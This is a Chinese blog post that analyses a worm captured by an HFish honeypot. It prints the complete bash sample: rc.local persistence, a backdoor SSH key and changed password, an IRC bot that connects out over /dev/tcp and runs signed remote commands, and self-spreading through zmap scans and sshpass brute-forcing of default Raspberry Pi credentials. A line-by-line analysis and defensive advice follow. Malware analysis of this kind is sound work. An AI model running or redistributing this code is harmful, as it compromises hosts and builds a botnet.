• 对HFish蜜罐捕捉到的样本分析


    因为疫情原因在家居家远程上班,闲来无事搭建了开源的HFish的蜜罐系统

    https://hfish.net/icon-default.png?t=M85Bhttps://hfish.net/

    并且运行了大概有一周左右在蜜罐中发现了多个病毒后门样本,应该是很多个

    而且在全球多个国家的蜜罐节点都采集到了相同脚本,基本在我们130多个节点都捕获到了此样本

    (本人略穷,节点都是用法微软云月抛账号开的机器)

     

    经查看后样本内容一致,为同一样本,该脚本使用ssh登录部署后门脚本与C2进行通信,并利用当前访问权限进行了横向传播。别问怎么排查的,有个好兄弟(冤种)看了几百个样本文件

    样本代码:

     

    1. C0755 4745 Jrss5pr8
    2. #!/bin/bash
    3. MYSELF=`realpath $0`
    4. DEBUG=/dev/null
    5. echo $MYSELF >> $DEBUG
    6. if [ "$EUID" -ne 0 ]
    7. then
    8. NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    9. sudo cp $MYSELF /opt/$NEWMYSELF
    10. sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    11. sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    12. sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    13. sleep 1
    14. sudo reboot
    15. else
    16. TMP1=`mktemp`
    17. echo $TMP1 >> $DEBUG
    18. killall bins.sh
    19. killall minerd
    20. killall node
    21. killall nodejs
    22. killall ktx-armv4l
    23. killall ktx-i586
    24. killall ktx-m68k
    25. killall ktx-mips
    26. killall ktx-mipsel
    27. killall ktx-powerpc
    28. killall ktx-sh4
    29. killall ktx-sparc
    30. killall arm5
    31. killall zmap
    32. killall kaiten
    33. killall perl
    34. echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
    35. rm -rf /root/.bashrc
    36. rm -rf /home/pi/.bashrc
    37. usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
    38. mkdir -p /root/.ssh
    39. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
    40. echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    41. rm -rf /tmp/ktx*
    42. rm -rf /tmp/cpuminer-multi
    43. rm -rf /var/tmp/kaiten
    44. cat > /tmp/public.pem <<EOFMARKER
    45. -----BEGIN PUBLIC KEY-----
    46. MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
    47. glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
    48. rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
    49. WRq+Z8HYMvPlgSRA3wIDAQAB
    50. -----END PUBLIC KEY-----
    51. EOFMARKER
    52. BOT=`mktemp -u 'XXXXXXXX'`
    53. cat > /tmp/$BOT <<'EOFMARKER'
    54. #!/bin/bash
    55. SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
    56. NICK=a${SYS:24}
    57. while [ true ]; do
    58. arr[0]="ix1.undernet.org"
    59. arr[1]="ix2.undernet.org"
    60. arr[2]="Ashburn.Va.Us.UnderNet.org"
    61. arr[3]="Bucharest.RO.EU.Undernet.Org"
    62. arr[4]="Budapest.HU.EU.UnderNet.org"
    63. arr[5]="Chicago.IL.US.Undernet.org"
    64. rand=$[$RANDOM % 6]
    65. svr=${arr[$rand]}
    66. eval 'exec 3<>/dev/tcp/$svr/6667;'
    67. if [[ ! "$?" -eq 0 ]] ; then
    68. continue
    69. fi
    70. echo $NICK
    71. eval 'printf "NICK $NICK\r\n" >&3;'
    72. if [[ ! "$?" -eq 0 ]] ; then
    73. continue
    74. fi
    75. eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    76. if [[ ! "$?" -eq 0 ]] ; then
    77. continue
    78. fi
    79. # Main loop
    80. while [ true ]; do
    81. eval "read msg_in <&3;"
    82. if [[ ! "$?" -eq 0 ]] ; then
    83. break
    84. fi
    85. if [[ "$msg_in" =~ "PING" ]] ; then
    86. printf "PONG %s\n" "${msg_in:5}";
    87. eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
    88. if [[ ! "$?" -eq 0 ]] ; then
    89. break
    90. fi
    91. sleep 1
    92. eval 'printf "JOIN #biret\r\n" >&3;'
    93. if [[ ! "$?" -eq 0 ]] ; then
    94. break
    95. fi
    96. elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
    97. privmsg_h=$(echo $msg_in| cut -d':' -f 3)
    98. privmsg_data=$(echo $msg_in| cut -d':' -f 4)
    99. privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
    100. hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
    101. sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
    102. if [[ "$sign" == "$hash" ]] ; then
    103. CMD=`echo $privmsg_data | base64 -d -i`
    104. RES=`bash -c "$CMD" | base64 -w 0`
    105. eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
    106. if [[ ! "$?" -eq 0 ]] ; then
    107. break
    108. fi
    109. fi
    110. fi
    111. done
    112. done
    113. EOFMARKER
    114. chmod +x /tmp/$BOT
    115. nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
    116. rm /tmp/nohup.log -rf
    117. rm -rf nohup.out
    118. sleep 3
    119. rm -rf /tmp/$BOT
    120. NAME=`mktemp -u 'XXXXXXXX'`
    121. date > /tmp/.s
    122. apt-get update -y --force-yes
    123. apt-get install zmap sshpass -y --force-yes
    124. while [ true ]; do
    125. FILE=`mktemp`
    126. zmap -p 22 -o $FILE -n 100000
    127. killall ssh scp
    128. for IP in `cat $FILE`
    129. do
    130. sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    131. sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    132. done
    133. rm -rf $FILE
    134. sleep 10
    135. done
    136. fi

    病毒行为:

    扫描22端口

    ssh账号密码暴力破解(pi,树莓派默认用户名)

     

    执行命令

     

     我们来看看样本代码。分析一下样本行为,

    if [ "$EUID" -ne 0 ]

    if判断EUID是否等于0,euid=0即=root,用于确保具有root权限

    mktem创建暂存文件 

    -u 结束前删除

    NEWMYSELF=`mktemp -u 'XXXXXXXX'`

    sudo和cp就不用说了吧

    拷贝复制到opt目录

    sudo cp $MYSELF /opt/$NEWMYSELF
    

    开机自启

    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"

    killall掉某些进程

     

    1. killall bins.sh
    2. killall minerd
    3. killall node
    4. killall nodejs
    5. killall ktx-armv4l
    6. killall ktx-i586
    7. killall ktx-m68k
    8. killall ktx-mips
    9. killall ktx-mipsel
    10. killall ktx-powerpc
    11. killall ktx-sh4
    12. killall ktx-sparc
    13. killall arm5
    14. killall zmap
    15. killall kaiten
    16. killall perl

    疑似黑吃黑

    怀疑是把隔壁木马回连解析至127.0.0.1

    导致隔壁木马失效 

    echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts

    删除root和pi账号的用户配置

    1. rm -rf /root/.bashrc
    2. rm -rf /home/pi/.bashrc

    下面这俩段命令应该是用来维持权限的

     

    修改pi的密码

    usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

    将rsa公钥写入了/root/.ssh/authorized_keys中,以便攻击者随时登录。

    1. mkdir -p /root/.ssh
    2. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys

    设置服务器dns为8.8.8.8

    echo "nameserver 8.8.8.8" >> /etc/resolv.conf

    删除一些可能的恶意程序

    1. rm -rf /tmp/ktx*
    2. rm -rf /tmp/cpuminer-multi
    3. rm -rf /var/tmp/kaiten

    写入https签名公钥,其实就是证书

     

    1. cat > /tmp/public.pem <<EOFMARKER
    2. -----BEGIN PUBLIC KEY-----
    3. MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
    4. glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
    5. rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
    6. WRq+Z8HYMvPlgSRA3wIDAQAB
    7. -----END PUBLIC KEY-----
    8. EOFMARKER

    将uname -a的输出作为md5sum的输入生成32位的md5值

    SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`

     取sys md5的前24位哈希的前24个字符作为任意昵称,创建循环、定义数组

    NICK=a${SYS:24}

    在五个域名随机选择一个为回连地址

    1. while [ true ]; do
    2. arr[0]="ix1.undernet.org"
    3. arr[1]="ix2.undernet.org"
    4. arr[2]="Ashburn.Va.Us.UnderNet.org"
    5. arr[3]="Bucharest.RO.EU.Undernet.Org"
    6. arr[4]="Budapest.HU.EU.UnderNet.org"
    7. arr[5]="Chicago.IL.US.Undernet.org"
    8. rand=$[$RANDOM % 6]
    9. svr=${arr[$rand]}

    1. eval 'exec 3<>/dev/tcp/$svr/6667;'
    2. if [[ ! "$?" -eq 0 ]] ; then
    3. continue
    4. fi
    5. echo $NICK
    6. eval 'printf "NICK $NICK\r\n" >&3;'
    7. if [[ ! "$?" -eq 0 ]] ; then
    8. continue
    9. fi
    10. eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    11. if [[ ! "$?" -eq 0 ]] ; then
    12. continue
    13. fi

    eval 'exec 3<>/dev/tcp/$svr/6667创建进程

    分配文件描述符3

    判断是否执行成功

    不成功则跳出当前循环再重新进行随机一个域名利用IRC协议(通常用于僵尸网络)进行连接

    其中任何指向文件描述符3的命令或数据都会被写入到/dev/tcp/$svr/6667中

    使用ping进行网络连接检查

    通过PONG的响应来确认是否成功建立连接,并将其响应传输到C2服务器

    JOIN命令指需要被广播到其他服务器上,这样其他服务器就会知道在哪个频道里可以找到这个client,这就可以实现方便的发送PRIVMAS/NOTICE指令到client。

    if  [[ "$msg_in" =~ "PING" ]] ; then

    当我们从C2服务器接到指令后

    将指令分别cut给三个变量(privmsg_h、privmsg_data、privmsg_nick),通过将privmsg_data的输出进行解码MD5后得到一个新的变量hash,引入第二个变量sign它是privmsg_h的输出通过base64解码再传给openssl rsautl,这里实际对privmsg_h的输出进行了签名在传给了sign。

    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then

    下面这里就比较恶心了

    通过apt安装zmap和sshpass进行22端口扫描以及ssh爆破

    用zmap进行全网扫描

    用sshpass验证ssh是否可以连接

    扫到树莓派的弱密码,默认密码raspberry

    拷贝自身进去,不断复制,并且记录到本地/opt/.r。 

    使用sshpass登录复制并执行脚本

     

    cd /tmp && chmod +x $NAME && bash -c ./$NAME"命令,由此进行横向传播。

    在安恒情报社区发现上述c2域名创建自1994年

    而且早在2007年就已经发现

     

     目前网络中已经存在了大量的僵尸主机,由于缺乏检测机制以及安全意识薄弱,企业网络、各类公/私有云,都面临着主机长期被控失陷而不自知的问题。因此对僵尸网络的检测以及预防应加强重视,建议采用堡垒机、IAM类安全产品对登录接口进行统一,登录口令也尽量不要使用默认口令/弱口令,同时增强网络安全意识、加强自身网络安全建设

  • 相关阅读:
    在ubuntu16.04系统利用eBPF获取TCP网络状态信息
    Oracle/PLSQL: NULLIF Function
    LeetCode中等题之递增子序列
    WIFI 万[néng]钥匙 v5.0.10/v4.9.80 SVIP版!
    力扣labuladong——一刷day07
    固定资产电脑怎么编号管理
    API自动化测试
    Centos7常用基本命令使用(帮助类、文件目录类)
    NLP(8)--利用RNN实现多分类任务
    记一次DNS问题排查
  • 原文地址:https://blog.csdn.net/qq_17754023/article/details/127699641